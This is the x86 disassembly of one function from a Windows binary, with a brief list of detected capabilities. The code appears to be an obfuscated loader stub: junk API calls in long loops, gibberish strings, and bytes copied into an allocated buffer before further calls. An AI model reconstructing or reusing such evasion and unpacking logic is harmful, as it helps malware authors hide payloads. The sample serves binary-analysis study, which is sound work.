Function at 0x40aad0
Capabilities:
Get common file path
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1034
call fcn.00409f60
mov eax, dword [0x80d008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x2ec81c4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor esi, esi
or ebx, 0xffffffff
lea ebx, [ebx]
cmp eax, 0x8cf
jne 0x40ab1c
push 0
push str.xovapexoxoyegolotobepezevi_yiwoxisocelitogogi_tawubevevunetuwibizogiporujaso_tikikodezovufiputocomovacax
lea eax, [ebp - 0x804]
push eax
call edi
mov eax, dword [0x2ec81c4]
cmp esi, 0x180
jne 0x40ab33
mov eax, dword [0x80ee04]
add eax, 0xa231
mov dword [0x2ec81c4], eax
cmp eax, 0x141
jne 0x40ab4a
mov dword [0x80f8f0], 0xec58acac
mov dword [0x80f8f4], ebx
inc esi
cmp esi, 0x12376ec
jl 0x40ab00
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
xor esi, esi
jmp 0x40ab60
cmp esi, 0x562d05
jne 0x40ab74
mov ecx, dword [0x80dfe8]
mov dword [0x2ec81c8], ecx
cmp eax, 0x3c
jne 0x40ab82
push 0
call edi
mov eax, dword [0x2ec81c4]
inc esi
cmp esi, 0x5f6c74
jl 0x40ab60
cmp eax, 0x7c
jne 0x40ac14
push 0
lea edx, [ebp - 0x804]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
lea ecx, [ebp - 0x100c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
lea edx, [ebp - 0x1004]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2ec81c4], 0x2d
jne 0x40ac05
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
call fcn.0040110e
mov eax, dword [0x2ec81c4]
add esp, 4
cmp eax, 0x110a
jne 0x40acb6
mov ecx, dword [ebp - 0x100c]
xor eax, eax
push ecx
push eax
mov dword [0x2ec8090], eax
mov dword [0x2ec8094], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.xusehobimozacogojihogivo
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0
push 0
lea edx, [ebp - 0x1004]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea eax, [ebp - 0x1020]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0
push 0
call fcn.00401015
push 0
push 0
call fcn.00401015
push 0
call fcn.0040a4e4
push 0
push 0
call fcn.00401015
push 0
push 0
call fcn.00401119
push 0x80b4d8
push 0x80f868
call fcn.004010db
add esp, 0x2c
push 0
call fcn.004015d4
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2ec7ee4], eax
cmp dword [0x2ec81c4], esi
jbe 0x40ad2f
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov ebx, 0x19b0
lea esp, [esp]
mov ecx, dword [0x2ec81c8]
mov dword [ebp - 0x1008], ecx
mov eax, 0xa231
add dword [ebp - 0x1008], eax
mov edx, dword [ebp - 0x1008]
mov al, byte [edx + esi]
mov ecx, dword [0x2ec7ee4]
mov byte [ecx + esi], al
cmp dword [0x2ec81c4], 0x5ab
jne 0x40ad26
lea edx, [ebp - 0x1028]
push edx
push 0
call edi
mov dword [0x2ec7ee8], ebx
inc esi
cmp esi, dword [0x2ec81c4]
jb 0x40ace0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040a7b0
call fcn.0040a780
call fcn.0040aa90
call fcn.0040a770
mov ebx, dword [ebp - 0x102c]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
xor esi, esi
lea esp, [esp]
lea eax, [ebp - 0x404]
push eax
call edi
cmp esi, 0x408e
jle 0x40ad79
cmp ebx, 0xf5bed7
jne 0x40ad82
inc esi
cmp esi, 0x687ed2
jl 0x40ad60
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [ebp - 0x1008], 0x1e4165
mov ebx, 0x8e46a6f0
lea ecx, [ecx]
cmp dword [0x2ec81c4], 0xcc1
jne 0x40adb0
push 0
call esi
cmp dword [0x2ec81c4], 0x7c4
mov dword [0x2ec7eec], ebx
jne 0x40adc8
push 0
push 0
call edi
sub dword [ebp - 0x1008], 1
jne 0x40ada0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401006
mov esp, ebp
pop ebp
ret